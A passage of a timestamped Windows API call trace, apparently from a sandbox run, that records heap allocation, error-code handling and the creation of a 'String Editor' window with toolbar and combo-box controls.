SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.450] SetLastError (dwErrCode=0x0) [0024.450] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] GetLastError () returned 0x0 [0024.451] SetLastError (dwErrCode=0x0) [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x98) returned 0x1f419d8 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x1f) returned 0x1f41a78 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x36) returned 0x1f41aa0 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x37) returned 0x1f41ae0 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x3c) returned 0x1f41b20 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x31) returned 0x1f41b68 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x17) returned 0x1f41ba8 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x24) returned 0x1f41bc8 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x14) returned 0x1f41bf8 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xd) returned 0x1f41c18 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x25) returned 0x1f41c30 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x39) returned 0x1f41c60 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x18) returned 0x1f41ca8 [0024.451] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x17) returned 0x1f41cc8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xe) returned 0x1f41ce8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x69) returned 0x1f41d00 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x3e) returned 0x1f41d78 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x1b) returned 0x1f41dc0 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x1d) returned 0x1f41de8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x48) returned 0x1f41e10 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x12) returned 0x1f41e60 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x18) returned 0x1f41e80 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x1b) returned 0x1f41ea0 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x24) returned 0x1f41ec8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x29) returned 0x1f41ef8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x1e) returned 0x1f41f30 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x41) returned 0x1f41f58 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x17) returned 0x1f41fa8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xf) returned 0x1f41fc8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x16) returned 0x1f41fe8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x2a) returned 0x1f42008 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x29) returned 0x1f42040 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x15) returned 0x1f42078 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x1e) returned 0x1f42098 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x2a) returned 0x1f420c0 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x12) returned 0x1f420f8 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x18) returned 0x1f42118 [0024.452] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x46) returned 0x1f42138 [0024.452] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f411f8 | out: hHeap=0x1f40000) returned 1 [0024.453] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x800) returned 0x1f42188 [0024.453] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x80) returned 0x1f411f8 [0024.453] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0024.453] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0024.453] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.453] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfb31c) returned 0x0 [0024.454] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.454] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.454] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.454] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x18) returned 0x1f41280 [0024.454] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4) returned 0x1f412a0 [0024.454] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x20) returned 0x1f412b0 [0024.454] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f412d8 [0024.454] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f412d8 | out: hHeap=0x1f40000) returned 1 [0024.454] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f412d8 [0024.455] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.455] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4) returned 0x1f412e8 [0024.455] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x18) returned 0x1f412f8 [0024.455] GetLastError () returned 0x0 [0024.456] SetLastError (dwErrCode=0x0) [0024.456] GetLastError () returned 0x0 [0024.456] SetLastError (dwErrCode=0x0) [0024.456] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xd8) returned 0x1f41318 [0024.456] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x355) returned 0x1f413f8 [0024.456] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f413f8 | out: hHeap=0x1f40000) returned 1 [0024.456] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f413f8 [0024.456] GetLastError () returned 0x0 [0024.456] SetLastError (dwErrCode=0x0) [0024.456] GetLastError () returned 0x0 [0024.456] SetLastError (dwErrCode=0x0) [0024.456] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xd8) returned 0x1f41408 [0024.456] GetLastError () returned 0x0 [0024.456] SetLastError (dwErrCode=0x0) [0024.456] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x355) returned 0x1f42990 [0024.457] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42990 | out: hHeap=0x1f40000) returned 1 [0024.457] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41318 | out: hHeap=0x1f40000) returned 1 [0024.457] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f41318 [0024.457] GetLastError () returned 0x0 [0024.457] SetLastError (dwErrCode=0x0) [0024.457] GetLastError () returned 0x0 [0024.457] SetLastError (dwErrCode=0x0) [0024.457] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x200) returned 0x1f414e8 [0024.457] GetLastError () returned 0x0 [0024.457] SetLastError (dwErrCode=0x0) [0024.457] GetLastError () returned 0x0 [0024.457] SetLastError (dwErrCode=0x0) [0024.457] GetLastError () returned 0x0 [0024.457] SetLastError (dwErrCode=0x0) [0024.457] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xd8) returned 0x1f42990 [0024.457] GetLastError () returned 0x0 [0024.457] SetLastError (dwErrCode=0x0) [0024.457] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x355) returned 0x1f42a70 [0024.457] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42a70 | out: hHeap=0x1f40000) returned 1 [0024.458] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41408 | out: hHeap=0x1f40000) returned 1 [0024.458] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41318 | out: hHeap=0x1f40000) returned 1 [0024.458] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f413f8 | out: hHeap=0x1f40000) returned 1 [0024.458] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8) returned 0x1f416f0 [0024.458] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.458] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.458] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x18) returned 0x1f41700 [0024.458] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4) returned 0x1f41720 [0024.459] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.459] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4) returned 0x1f41730 [0024.459] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x20) returned 0x1f41740 [0024.459] GetLastError () returned 0x0 [0024.459] SetLastError (dwErrCode=0x0) [0024.459] GetLastError () returned 0x0 [0024.459] SetLastError (dwErrCode=0x0) [0024.459] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xd8) returned 0x1f41318 [0024.459] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x355) returned 0x1f42a70 [0024.459] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42a70 | out: hHeap=0x1f40000) returned 1 [0024.459] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42990 | out: hHeap=0x1f40000) returned 1 [0024.459] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f413f8 [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xd8) returned 0x1f41408 [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x355) returned 0x1f42990 [0024.460] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42990 | out: hHeap=0x1f40000) returned 1 [0024.460] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41318 | out: hHeap=0x1f40000) returned 1 [0024.460] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f41318 [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x200) returned 0x1f42990 [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0xd8) returned 0x1f42b98 [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x355) returned 0x1f42c78 [0024.461] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0024.461] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41408 | out: hHeap=0x1f40000) returned 1 [0024.461] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41318 | out: hHeap=0x1f40000) returned 1 [0024.461] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f413f8 | out: hHeap=0x1f40000) returned 1 [0024.461] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8) returned 0x1f41318 [0024.462] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.462] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.462] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x18) returned 0x1f41328 [0024.462] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4) returned 0x1f41348 [0024.462] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.462] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4) returned 0x1f41358 [0024.463] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.463] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.463] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.463] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.463] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.464] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.464] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.464] RtlSizeHeap (HeapHandle=0x1f40000, Flags=0x0, MemoryPointer=0x1f411f8) returned 0x80 [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0024.468] InitCommonControlsEx (picce=0x4afb34) returned 0 [0024.468] LoadIconW (hInstance=0xd0000, lpIconName=0x6d) returned 0x0 [0024.468] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0024.468] RegisterClassExW (param_1=0x4afb04) returned 0xc13e [0024.469] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0024.469] RegisterClassExW (param_1=0x4afac4) returned 0xc13c [0024.469] CreateWindowExW (dwExStyle=0x10000, lpClassName="StringEditor", lpWindowName="String Editor", dwStyle=0x12cf0000, X=-2147483648, Y=-2147483648, nWidth=860, nHeight=600, hWndParent=0x0, hMenu=0x0, hInstance=0xd0000, lpParam=0x4afb98) [0024.726] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 0 [0024.726] NtdllDefWindowProc_W () returned 0x0 [0024.726] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 0 [0024.726] NtdllDefWindowProc_W () returned 0x1 [0024.728] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 0 [0024.728] NtdllDefWindowProc_W () returned 0x0 [0024.827] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 0 [0024.827] SetWindowLongW (hWnd=0x301e0, nIndex=-21, dwNewLong=4914072) returned 0 [0024.828] CreateWindowExW (dwExStyle=0x0, lpClassName="ToolbarWindow32", lpWindowName=0x0, dwStyle=0x52000144, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x301e0, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x401b8 [0024.831] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0024.831] NtdllDefWindowProc_W () returned 0x2 [0024.831] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0024.831] NtdllDefWindowProc_W () returned 0x0 [0024.832] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0024.832] NtdllDefWindowProc_W () returned 0x0 [0024.832] ImageList_LoadImageW (hi=0xd0000, lpbmp=0x6b, cx=16, cGrow=0, crMask=0x808000, uType=0x0, uFlags=0x0) returned 0x0 [0024.832] SendMessageW (hWnd=0x401b8, Msg=0x430, wParam=0x0, lParam=0x0) returned 0x0 [0024.833] SendMessageW (hWnd=0x401b8, Msg=0x444, wParam=0xf, lParam=0x4af3f8) returned 0x1 [0024.834] SendMessageW (hWnd=0x401b8, Msg=0x423, wParam=0x0, lParam=0x0) returned 0x301b4 [0024.839] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0024.839] NtdllDefWindowProc_W () returned 0x0 [0024.839] CreateWindowExW (dwExStyle=0x0, lpClassName="COMBOBOX", lpWindowName=0x0, dwStyle=0x5a200103, X=0, Y=0, nWidth=175, nHeight=150, hWndParent=0x301e0, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x301bc [0025.369] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.369] NtdllDefWindowProc_W () returned 0x0 [0025.369] GetStockObject (i=17) returned 0x18a0025 [0025.369] SendMessageW (hWnd=0x301bc, Msg=0x30, wParam=0x18a0025, lParam=0x0) returned 0x1 [0025.376] CreateWindowExW (dwExStyle=0x0, lpClassName="COMBOBOX", lpWindowName=0x0, dwStyle=0x5a200003, X=0, Y=0, nWidth=175, nHeight=150, hWndParent=0x301e0, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x40122 [0025.381] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.381] NtdllDefWindowProc_W () returned 0x0 [0025.381] GetStockObject (i=17) returned 0x18a0025 [0025.381] SendMessageW (hWnd=0x40122, Msg=0x30, wParam=0x18a0025, lParam=0x0) returned 0x1 [0025.384] CreateWindowExW (dwExStyle=0x0, lpClassName="ReBarWindow32", lpWindowName=0x0, dwStyle=0x52000000, X=0, Y=0, nWidth=10, nHeight=10, hWndParent=0x301e0, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x40124 [0025.384] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.384] NtdllDefWindowProc_W () returned 0x2 [0025.384] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.384] NtdllDefWindowProc_W () returned 0x0 [0025.386] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.386] NtdllDefWindowProc_W () returned 0x0 [0025.386] SendMessageW (hWnd=0x401b8, Msg=0x453, wParam=0x0, lParam=0x4af2b0) returned 0x1 [0025.386] SendMessageW (hWnd=0x40124, Msg=0x40a, wParam=0xffffffff, lParam=0x4af260) returned 0x1 [0025.386] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.387] NtdllDefWindowProc_W () returned 0x0 [0025.387] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.388] NtdllDefWindowProc_W () returned 0x0 [0025.388] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.388] NtdllDefWindowProc_W () returned 0x0 [0025.388] SendMessageW (hWnd=0x40124, Msg=0x40a, wParam=0xffffffff, lParam=0x4af260) returned 0x1 [0025.388] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.388] NtdllDefWindowProc_W () returned 0x0 [0025.388] GetWindowRect (in: hWnd=0x40122, lpRect=0x4af35c | out: lpRect=0x4af35c) returned 1 [0025.388] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.388] LoadStringW (in: hInstance=0x0, uID=0x82, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.388] GetLastError () returned 0x716 [0025.388] SetLastError (dwErrCode=0x716) [0025.388] GetLastError () returned 0x716 [0025.388] SetLastError (dwErrCode=0x716) [0025.388] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.388] GetLastError () returned 0x716 [0025.388] SetLastError (dwErrCode=0x716) [0025.388] GetLastError () returned 0x716 [0025.389] SetLastError (dwErrCode=0x716) [0025.389] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.389] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.389] SendMessageW (hWnd=0x40124, Msg=0x40a, wParam=0xffffffff, lParam=0x4af260) returned 0x1 [0025.390] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.390] NtdllDefWindowProc_W () returned 0x0 [0025.390] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.390] NtdllDefWindowProc_W () returned 0x0 [0025.393] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.393] NtdllDefWindowProc_W () returned 0x0 [0025.393] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.393] NtdllDefWindowProc_W () returned 0x0 [0025.393] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.393] NtdllDefWindowProc_W () returned 0x0 [0025.393] GetWindowRect (in: hWnd=0x301bc, lpRect=0x4af35c | out: lpRect=0x4af35c) returned 1 [0025.393] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.393] LoadStringW (in: hInstance=0x0, uID=0x83, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.393] GetLastError () returned 0x716 [0025.393] SetLastError (dwErrCode=0x716) [0025.393] GetLastError () returned 0x716 [0025.394] SetLastError (dwErrCode=0x716) [0025.394] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.394] GetLastError () returned 0x716 [0025.394] SetLastError (dwErrCode=0x716) [0025.394] GetLastError () returned 0x716 [0025.394] SetLastError (dwErrCode=0x716) [0025.394] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.394] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.394] 